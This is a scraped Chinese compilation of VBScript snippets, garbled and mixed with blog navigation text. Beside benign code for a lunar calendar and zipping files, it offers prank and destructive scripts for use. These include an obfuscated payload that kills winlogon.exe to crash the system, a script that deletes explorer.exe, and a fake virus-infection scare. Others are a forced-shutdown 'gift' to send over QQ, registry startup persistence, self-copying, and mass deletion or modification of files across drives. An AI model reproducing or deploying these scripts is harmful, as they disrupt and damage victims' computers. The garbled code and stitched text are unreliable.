代码大全VBS格式vbs格式代码第一个domsgbox "hi"loop第二个Set s = CreateObject("sapi.spvoice")i=0dos.speak ii=i+1loop第三个if MsgBox("对不起,您灌水太多需要重新启动计算机。
"&chr(10)&"确定要重启吗？",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel thenmsgbox " 系统将立刻重起wow ~_^",,"你上当了！！"Set objShell = CreateObject("Wscript.Shell")objShell.Run "shutdown -s -t 5",,trueend if第四个'这个很强悍的vbs,蓝屏strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,-23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,-13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,1 3,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103,98,111,120,32,34,-15133,89,-13899,-20026,-20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,11 5,103,98,111,120,32,34,-17479,-19781,-19504,-14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,-13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,-24147,63,34,44,54,52,44,34,-11825,-10536,-16721,-18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119 ,115,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,10 8,108,34,41,32,13,10,119,115,99,114,105,112,116,46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,4 6,114,117,110,32,34,99,109,100,32,47,99,32,115,116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45, 99,32,113,32,45,112,110,32,119,105,110,108,111,103,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,11 0,117,108,34,44,118,98,104,105,100,101,13,10,101,110,100,32,105,102,13,10,13,10,13,10)for i=1 to UBound(strs)runner=runner&chr(strs(i))nextExecute runner第五个if MsgBox("你是猪头吗？",vbYesNo,"提示")=vbyes thenmsgbox "你SB啊!"elsemsgbox "还不承认!! 作为惩罚，蓝屏一下，你马上挂了#￥！@#￥%@……#……?",64,"严重警告"Set ws = CreateObject("Wscript.Shell")wscript.sleep 1200ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhideend if第六个Set ws = CreateObject("Wscript.Shell")ws.run "cmd.exe /c call calc.exe",0第七个set ws=CreateObject("Wscript.Shell")ws.run "cmd.exe /c taskkill /f /im explorer.exe",0wscript.sleep 900ws.run "cmd.exe /c copy %windir%\explorer.exe %windir%\explorer.Data"wscript.sleep 1200ws.run "cmd.exe /c del /q /f %windir%\explorer.exe"第八个Set ws=WScript.CreateObject("WScript.Shell")ws.popup"大家好，我就是改变社会风气，风魔万千少女，刺激电影市道，提高年轻人内涵，",10,"闪亮登场",64ws.popup"玉树临风，风度翩翩的……“咕噜…咕噜…”，不好意思，我内急先闪了，再见！",15,"farewell",64wscript.sleep 100000ws.popup"发现重要windows更新未安装，系统将自动下载更新并安装",10ws.popup"正在下载windows更新……",12wscript.sleep 10000ws.popup"windows更新已下载完毕，正在安装更新……",12wscript.sleep 3000msgbox"系统检测到WINDOWS更新中携带有不明软件comcontroler.exe ，并在强行嵌入你的电脑",4132,"是否对其进行扫描？"msgbox"软件名：comcontroler.exe "&vbcrlf&""&vbcrlf&" 大小：1.21MB "&vbcrlf&""&vbcrlf&" 发行者：幻想丶永恒（403746401）"&vbcrlf&""&vbcrlf&" 安全状况：有病毒",vbinformationmsgbox"comcontroler.exe存在不安全因素",4132,"是否阻止其安装"msgbox"阻止失败，请检查防火墙是否开启"wscript.sleep 15000ws.popup"windows更新安装成功！",vbinfmation,20msgbox"您的电脑可能已被入侵，请尽快修改您的QQ密码及其他机密资料,以免QQ被盗或丢失资料",vbinformationws.popup"哈哈，我已经控制了你的电脑！",12,"很高兴见到你",64ws.popup"不信？我用你的电脑打开我的QQ空间给你看看",10 ws.run"/doc/8ac10e7a168884868762d6d9.html /403746401/infocenter"msgbox"警告：为了您的电脑安全，请尽快安装使用杀毒软件对系统进行全面杀毒",vbinformationws.popup"我再打开中国神泣官方网站",10ws.run"/doc/8ac10e7a168884868762d6d9.html/index.htm"ws.popup"现在相信了吧？我再打开你的记事本给你写封英语信",20ws.popup"记事本会被打开并最大化，这时你不要动，千万别把目标转移到其他窗口，耐心看我把信写完。
可以显示农历的VBS代码:<script language=vbscript>Function nl()'获取当前系统时间curTime = Now()Dim WeekName(7), MonthAdd(11), NongliData(99), TianGan(9), DiZhi(11), ShuXiang(11), DayName(30), MonName(12)'星期名WeekName(0) = " * "WeekName(1) = "星期日"WeekName(2) = "星期一"WeekName(3) = "星期二"WeekName(4) = "星期三"WeekName(5) = "星期四"WeekName(6) = "星期五"WeekName(7) = "星期六"'天干名称TianGan(0) = "甲"TianGan(1) = "乙"TianGan(2) = "丙"TianGan(3) = "丁"TianGan(4) = "戊"TianGan(5) = "己"TianGan(6) = "庚"TianGan(7) = "辛"TianGan(8) = "壬"TianGan(9) = "癸"'地支名称DiZhi(0) = "子"DiZhi(1) = "丑"DiZhi(2) = "寅"DiZhi(3) = "卯"DiZhi(4) = "辰"DiZhi(5) = "巳"DiZhi(6) = "午"DiZhi(7) = "未"DiZhi(8) = "申"DiZhi(9) = "酉"DiZhi(10) = "戌"DiZhi(11) = "亥"'属相名称ShuXiang(0) = "鼠"ShuXiang(1) = "牛" ShuXiang(2) = "虎" ShuXiang(3) = "兔" ShuXiang(4) = "龙" ShuXiang(5) = "蛇" ShuXiang(6) = "马" ShuXiang(7) = "羊" ShuXiang(8) = "猴" ShuXiang(9) = "鸡" ShuXiang(10) = "狗" ShuXiang(11) = "猪" '农历日期名DayName(0) = "*" DayName(1) = "初一" DayName(2) = "初二" DayName(3) = "初三" DayName(4) = "初四" DayName(5) = "初五" DayName(6) = "初六" DayName(7) = "初七" DayName(8) = "初八" DayName(9) = "初九" DayName(10) = "初十" DayName(11) = "十一" DayName(12) = "十二" DayName(13) = "十三" DayName(14) = "十四" DayName(15) = "十五" DayName(16) = "十六" DayName(17) = "十七" DayName(18) = "十八" DayName(19) = "十九" DayName(20) = "二十" DayName(21) = "廿一" DayName(22) = "廿二" DayName(23) = "廿三" DayName(24) = "廿四" DayName(25) = "廿五" DayName(26) = "廿六" DayName(27) = "廿七" DayName(28) = "廿八" DayName(29) = "廿九" DayName(30) = "三十" '农历月份名MonName(0) = "*" MonName(1) = "正" MonName(2) = "二" MonName(3) = "三" MonName(4) = "四" MonName(5) = "五" MonName(6) = "六" MonName(7) = "七" MonName(8) = "八" MonName(9) = "九" MonName(10) = "十" MonName(11) = "十一" MonName(12) = "腊"'公历每月前面的天数MonthAdd(0) = 0 MonthAdd(1) = 31 MonthAdd(2) = 59 MonthAdd(3) = 90 MonthAdd(4) = 120 MonthAdd(5) = 151 MonthAdd(6) = 181 MonthAdd(7) = 212 MonthAdd(8) = 243 MonthAdd(9) = 273 MonthAdd(10) = 304 MonthAdd(11) = 334'农历数据NongliData(0) = 2635 NongliData(1) = 333387 NongliData(2) = 1701 NongliData(3) = 1748 NongliData(4) = 267701 NongliData(5) = 694 NongliData(6) = 2391 NongliData(7) = 133423 NongliData(8) = 1175 NongliData(9) = 396438 NongliData(10) = 3402 NongliData(11) = 3749 NongliData(12) = 331177 NongliData(13) = 1453 NongliData(14) = 694 NongliData(15) = 201326 NongliData(16) = 2350NongliData(18) = 3221 NongliData(19) = 3402 NongliData(20) = 400202 NongliData(21) = 2901 NongliData(22) = 1386 NongliData(23) = 267611 NongliData(24) = 605 NongliData(25) = 2349 NongliData(26) = 137515 NongliData(27) = 2709 NongliData(28) = 464533 NongliData(29) = 1738 NongliData(30) = 2901 NongliData(31) = 330421 NongliData(32) = 1242 NongliData(33) = 2651 NongliData(34) = 199255 NongliData(35) = 1323 NongliData(36) = 529706 NongliData(37) = 3733 NongliData(38) = 1706 NongliData(39) = 398762 NongliData(40) = 2741 NongliData(41) = 1206 NongliData(42) = 267438 NongliData(43) = 2647 NongliData(44) = 1318 NongliData(45) = 204070 NongliData(46) = 3477 NongliData(47) = 461653 NongliData(48) = 1386 NongliData(49) = 2413 NongliData(50) = 330077 NongliData(51) = 1197 NongliData(52) = 2637 NongliData(53) = 268877 NongliData(54) = 3365 NongliData(55) = 531109 NongliData(56) = 2900 NongliData(57) = 2922 NongliData(58) = 398042 NongliData(59) = 2395 NongliData(60) = 1179NongliData(62) = 2635NongliData(63) = 661067NongliData(64) = 1701NongliData(65) = 1748NongliData(66) = 398772NongliData(67) = 2742NongliData(68) = 2391NongliData(69) = 330031NongliData(70) = 1175NongliData(71) = 1611NongliData(72) = 200010NongliData(73) = 3749NongliData(74) = 527717NongliData(75) = 1452NongliData(76) = 2742NongliData(77) = 332397NongliData(78) = 2350NongliData(79) = 3222NongliData(80) = 268949NongliData(81) = 3402NongliData(82) = 3493NongliData(83) = 133973NongliData(84) = 1386NongliData(85) = 464219NongliData(86) = 605NongliData(87) = 2349NongliData(88) = 334123NongliData(89) = 2709NongliData(90) = 2890NongliData(91) = 267946NongliData(92) = 2773NongliData(93) = 592565NongliData(94) = 1210NongliData(95) = 2651NongliData(96) = 395863NongliData(97) = 1323NongliData(98) = 2707NongliData(99) = 265877'生成当前公历年、月、日 ==> GongliStr curYear = Year(curTime)curMonth = Month(curTime)curDay = Day(curTime)GongliStr = curYear & "年"If (curMonth < 10) ThenGongliStr = GongliStr & "0" & curMonth & "月"ElseGongliStr = GongliStr & curMonth & "月"End IfIf (curDay < 10) ThenGongliStr = GongliStr & "0" & curDay & "日"ElseGongliStr = GongliStr & curDay & "日"End If'生成当前公历星期 ==> WeekdayStrcurWeekday = Weekday(curTime)WeekdayStr = WeekName(curWeekday)'计算到初始时间1921年2月8日的天数：1921-2-8(正月初一)TheDate = (curYear - 1921) * 365 + Int((curYear - 1921) / 4) + curDay + MonthAdd(curMonth - 1) - 38If ((curYear Mod 4) = 0 And curMonth > 2) ThenTheDate = TheDate + 1End If'计算农历天干、地支、月、日isEnd = 0m = 0DoIf (NongliData(m) < 4095) Thenk = 11Elsek = 12End Ifn = kDoIf (n < 0) ThenExit DoEnd If'获取NongliData(m)的第n个二进制位的值bit = NongliData(m)For i = 1 To n Step 1bit = Int(bit / 2)Nextbit = bit Mod 2If (TheDate <= 29 + bit) ThenisEnd = 1Exit DoEnd IfTheDate = TheDate - 29 - bitn = n - 1LoopIf (isEnd = 1) ThenExit DoEnd Ifm = m + 1LoopcurYear = 1921 + mcurMonth = k - n + 1curDay = TheDateIf (k = 12) ThenIf (curMonth = (Int(NongliData(m) / 65536) + 1)) ThencurMonth = 1 - curMonthElseIf (curMonth > (Int(NongliData(m) / 65536) + 1)) ThencurMonth = curMonth - 1End IfEnd If'生成农历天干、地支、属相 ==> NongliStrNongliStr = "农历" & TianGan(((curYear - 4) Mod 60) Mod 10) &DiZhi(((curYear - 4) Mod 60) Mod 12) & "年"NongliStr = NongliStr & "(" & ShuXiang(((curYear - 4) Mod 60) Mod 12) & ")"'生成农历月、日 ==> NongliDayStrIf (curMonth < 1) ThenNongliDayStr = "闰" & MonName(-1 * curMonth)ElseNongliDayStr = MonName(curMonth)End IfNongliDayStr = NongliDayStr & "月"NongliDayStr = NongliDayStr & DayName(curDay)nl = NongliStr & NongliDayStrEnd Functionmsgbox nl</script>vbs实现显示系统调色板的代码:set ie = createobject("internetexplorer.application")ie.navigate "about:blank"do until ie.readystate = 4 : wscript.sleep 25 : loopset doc = ie.documentset body = doc.bodyset win = doc.parentwindowbody.innerhtml = "<OBJECT id=dlgCLASSID='clsid:3050f819-98b5-11cf-bb82-00aa00bdce0b'></OBJECT>"body.innertext = doc.getElementById("dlg").choosecolordlg win.clipboarddata.setdata "text", body.innertextie.quit用vbs实现zip功能的脚本:压缩：Function fZip(sSourceFolder,sTargetZIPFile)'This function will add all of the files in a source folder to a ZIP file 'using Windows' native folder ZIP capability.Dim oShellApp, oFSO, iErr, sErrSource, sErrDescriptionSet oShellApp = CreateObject("Shell.Application")Set oFSO = CreateObject("Scripting.FileSystemObject")'The source folder needs to have a \ on the EndIf Right(sSourceFolder,1) <> "\" Then sSourceFolder = sSourceFolder & "\" On Error Resume Next'If a target ZIP exists already, delete itIf oFSO.FileExists(sTargetZIPFile) Then oFSO.DeleteFile sTargetZIPFile,TrueiErr = Err.NumbersErrSource = Err.SourcesErrDescription = Err.DescriptionOn Error GoTo 0If iErr <> 0 ThenfZip = Array(iErr,sErrSource,sErrDescription)Exit FunctionEnd IfOn Error Resume Next'Write the fileheader for a blank zipfile.oFSO.OpenTextFile(sTargetZIPFile, 2, True).Write "PK" & Chr(5) & Chr(6) & String(18, Chr(0))iErr = Err.NumbersErrSource = Err.SourcesErrDescription = Err.DescriptionOn Error GoTo 0If iErr <> 0 ThenfZip = Array(iErr,sErrSource,sErrDescription)Exit FunctionEnd IfOn Error Resume Next'Start copying files into the zip from the source folder. Space(sTargetZIPFile).CopyHereSpace(sSourceFolder).ItemsiErr = Err.NumbersErrSource = Err.SourcesErrDescription = Err.DescriptionOn Error GoTo 0If iErr <> 0 ThenfZip = Array(iErr,sErrSource,sErrDescription)Exit FunctionEnd If'Because the copying occurs in a separate process, the script will just continue. Run a DO...LOOP to prevent the function'from exiting until the file is finished zipping.Do Until Space(sTargetZIPFile).Items.Count = Space(sSourceFolder).Items.CountWScript.Sleep 1500'如果不成功，增加一下秒数LoopfZip = Array(0,"","")End FunctionCall fZip ("C:\vbs","c:\vbs.zip")解压缩：Function fUnzip(sZipFile,sTargetFolder)'Create the Shell.Application objectDim oShellApp:Set oShellApp = CreateObject("Shell.Application")'Create the File System objectDim oFSO:Set oFSO = CreateObject("Scripting.FileSystemObject")'Create the target folder if it isn't already thereIf Not oFSO.FolderExists(sTargetFolder) Then oFSO.CreateFolder sTargetFolder'Extract the files from the zip into the folderSpace(sTargetFolder).CopyHereSpace(sZipFile).Items'This is a seperate process, so the script would continue even if the unzipping is not done'To prevent this, we run a DO...LOOP once a second checking to see if the number of files'in the target folder equals the number of files in the zipfile. If so, we continue.DoWScript.Sleep 1000‘有时需要更改Loop While oFSO.GetFolder(sTargetFolder).Files.Count <Space(sZipFile).Items.CountEnd Function非常棒的lcx写的非常规运行vbs :vbs有一个对像是“SAPI.SpVoice”，可以用它来讲英语的这个组件在xp、2003上默认都可以用的，调用后可以听到电脑上一个国外老男人在说话。
网易新闻微博邮箱相册阅读有道摄影爱拍优惠券云笔记闪电邮手机邮印像派网易识字更多博客手机博客博客搬家博客VIP服务LiveWriter写博word写博邮件写博短信写博群博客博客油菜地博客话题博客热点博客圈子找朋友发现小组风格网易真人搭配社区iStyle下载最文艺的手机博客APP>下载最文艺的手机博客APP>创建博客登录加关注显示下一条| 关闭温馨提示！由于新浪微博认证机制调整，您的新浪微博帐号绑定已过期，请重新绑定！立即重新绑定新浪微博》| 关闭K8拉登哥哥's BlogK8搞基大队[K8team] 信息安全网络安全0day漏洞渗透测试导航首页日志相册关于我日志拉登哥哥K8搞基大队队长专注于被妞泡加博友关注她被推荐日志最新日志[K8team]Ecshop 360支付宝插[原创]BAT多行代码转一行代[骗子]最近在国外黑客论坛看[工具]GetPwd_K8一键获取系[工具]K8截图工具V1.0[工具]NV显卡漏洞提权工具N该作者的其他文章博主推荐随机阅读刘思敏：携程推出海外酒店预订新平台艺龙去哪儿网或将跟进《夜话港乐》——32.林夕：三千首歌曲的快乐与哀愁在我们中国悲哀的只有律师吗？(原创)美国德州女教师，与5名男学生群交乱性，被判5年监牢！县级医院靠什么突围广州可不可以建美式社区公园？首页推荐女性性器官标准尺寸(图)一届春晚43张走后门条子刘海粟：给江青画'裸画'水浒传好汉为何都吃牛肉刘忠良：两会后房价暴跌老北京冬天的'两白一黑'更多>>C# beep 演奏两只老虎乐曲代码[K.8]愚人节整人软件大全下载vbs函数大全收藏2011-03-29 18:45:42| 分类：脚本编程| 标签：vbs |字号大中小订阅Abs 函数返回数的绝对值。
And 运算符执行两个表达式的逻辑连接。
Array 函数返回含一数组的变体。
Asc 函数返回字符串首字母的ANSI 字符代码。
VBS脚本常用经典代码收集于2011年7月2日21:13:37整理在网上查找资料的时候发现好多经典的vbs 代码，收集起来也为了以后学习。
VBS播放音乐DimwmpSetwmp=CreateObject("WMPlayer.OCX")wmp.openStatewmp.URL二'想象之中.mp3"DoUntilwmp.playState=1WScript.Sleep1000Loop比较流行的VBS整人脚本(保存为礼物.VBE”这样就可以通过QQ发送了)Setshell二CreateObject("WScript.Shell")shell.run"shutdown-s-t60-c 系统即将关闭.",0WhileInputBox("请输入答案"，”请回答")<>"123"'密码是123MsgBox"答案在心中…",16+4096'4096是让窗口在最顶层Wendshell.run"shutdown-a",0MsgBox"恭喜",64修改桌面背景图片Sphoto二"d:\1.bmp"'输入你自己的BMP路径Consthkcu=&h80001Setwmi=GetObject("winmgmts:stdregprov")wmi.getstringvaluehkcu,"ControlPanel\Desktop","Wallpaper",Spathwmi. setstringvaluehkcu,"ControlPanel\Desktop","TileWallpaper","0"wmi.setstringvaluehk cu,"ControlPanel\Desktop","WallpaperStyle","2"wmi.setdwordvaluehkcu,"Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced","Listvi ewShadow",1Setwmi=NothingSetfso=CreateObject("scripting.filesystemobject")Setfs=fso.Getfile(Sphoto)backname==fso.GetFileName(Spath)fs.Copyfso.GetParentFolderName(Spath)&"\",True=backnameSetfso=NothingSetws=CreateObject("wscript.shell")ws.Run"gpupdate/force",vbhidews.Run"RunDll32.exeUSER32.DLL,UpdatePerUserSystemParameters"Setws=NothingVBS获取系统安装路径C:'WINDOWS 路径先定义这个变量是获取系统安装路径的，然后我们用"strWinDir" 调用这个变量。
SetWshShell=WScript.CreateObject("WScript.Shell")strWinDir=WshShell.ExpandEnvironmentStrings("%WinDir%")VBS获取C:\Program Files 路径SetWshShell=WScript.CreateObject("WScript.Shell")strPorDir=WshShell.ExpandEnvironmentStrings("%ProgramFiles%")VBS获取C:'Program Files'Com mon Files 路径SetWshShell=WScript.CreateObject("WScript.Shell")strCommDir=WshShell.ExpandEnvironmentStrings("%CommonProgramFiles%") 给桌面添加网址快捷方式SetWshShell=WScript.CreateObject("Wscript.Shell")strDesktop=WshShell.SpecialFolders("Desktop")百度.In k")oShellL in k.TargetPath二"http:oShellLink.Description二百度主页”给收藏夹添加网址ConstADMINISTRATIVE_TOOLS=6SetobjShell=CreateObject("Shell.Application")SetobjFolder=space(ADMINISTRATIVE_TOOLS)SetobjFolderItem=objFolder.SelfSetobjShell=WScript.CreateObject("WScript.Shell")strDesktopFld=objFolderItem.Path百度.url")objURLShortcut.TargetPath二"http:objURLShortcut.Save 删除指定目录指定后缀文件OnErrorResumeNextSetfso=CreateObject("Scripting.FileSystemObject")fso.DeleteFile"C:\*.vbs",TrueSetfso=NothingVBS改主页SetoShell=CreateObject("WScript.Shell")Explorer\Main\StartPage","http:VBS加启动项SetoShell=CreateObject("Wscript.Shell") oShell.RegWrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\cmd","cmd.exe"VBS 复制自己到 C 盘DimfsoSetfso=WScript.CreateObject("Scripting.Filesystemobject")fso.getfile(wscript.scriptfullname).copy("c:\cik.vbs")复制自己到C盘的huan.vbs(复制本vbs目录下的game.exe文件到c盘的cik.exe)DimfsoSetfso=WScript.CreateObject("Scripting.Filesystemobject")fso.getfile("game.exe").copy("c:\cik.exe")VBS获取系统临时目录DimfsoSetfso=CreateObject("Scripting.FileSystemObject") DimtempfolderConstTemporaryFolder=2Settempfolder=fso.GetSpecialFolder(TemporaryFolder) Wscript.Echotempfolder就算代码出错依然继续执行OnErrorResumeNextVBS打开网址SetobjShell=CreateObject("Wscript.Shell")objShell.Run("http:VBS发送邮件NameSpace="http:SetEmail=CreateObject("CDO.Message")Email.Subject二'这里写标题”Email.Textbody二'这里写内容!"Email.AddAttachment"C:这是附件.txt"WithEmail.Configuration.Fields .Item(NameSpace&"sendusing")=2.Item(NameSpace&"smtpserverport")=25 .Item(NameSpace&"smtpauthenticate")=1 」tem(NameSpace&”sendusername”)二'发件人用户名” 」tem(NameSpace&”sendpassword”)二发件人密码” .UpdateEndWithEmail.SendVBS结束进程strComputer="."SetobjWMIService=GetObject_("winmgmts:\\"&strComputer&"\root\cimv2") SetcolProcessList=objWMIService.ExecQuery_("Select*fromWin32_ProcessWhereName='Rar.exe'")ForEachobjProcessincolProcessListobjProcess.Terminate()NextVBS隐藏打开网址(部分浏览器无法隐藏打开，而是直接打开，适合主流用户使用)createObject("wscript.shell").run"starthttp:Setobjws=WScript.CreateObject("wscript.shell")objws.Run"""C:VBS遍历硬盘删除指定文件名OnErrorResumeNextDimfPathstrComputer="."SetobjWMIService=GetObject("winmgmts:\\"&strComputer&"\root\cimv2")SetcolProcessList=objWMIService.ExecQuery(" Select*fromWin32_ProcessWhereName='gangzi.exe'")ForEachobjProcessIncolProcessListobjProcess.Terminate()NextSetobjWMIService=GetObject("winmgmts:{impersonationLevel=impersonate}!\\"&strComputer&"\root\cimv2")SetcolDirs=objWMIService.ExecQuery("Select*fromWin32_Directorywherename LIKE'%c:%'ornameLIKE'%d:%'ornameLIKE'%e:%'ornameLIKE'%f:%'ornameLIKE'%g:%'ornameLIKE'%h:%'ornameLIKE'%i:%'")SetobjFSO=CreateObject("Scripting.FileSystemObject")ForEachobjDirIncolDirsfPath=&"\cik.exe"'如果文件名是cik.exe 就删除objFSO.DeleteFile(fPath),TrueVBS获取网卡MAC地址Dimmc,moSetmc=GetObject("Winmgmts:").InstancesOf("Win32_NetworkAdapterConfiguration")ForEachmoInmcIfmo.IPEnabled=TrueThenMsgBox"本机网卡MAC地址是:"&mo.MacAddressExitForEndIfNextVBS获取本机注册表主页地址Setreg=WScript.CreateObject("WScript.Shell")MsgBoxstartpageVBS遍历所有磁盘的所有目录，找到所有.txt的文件，然后给所有txt文件最底部加一句话OnErrorResumeNextSetfso=CreateObject("Scripting.FileSystemObject")Co二vbCrLf&路过。
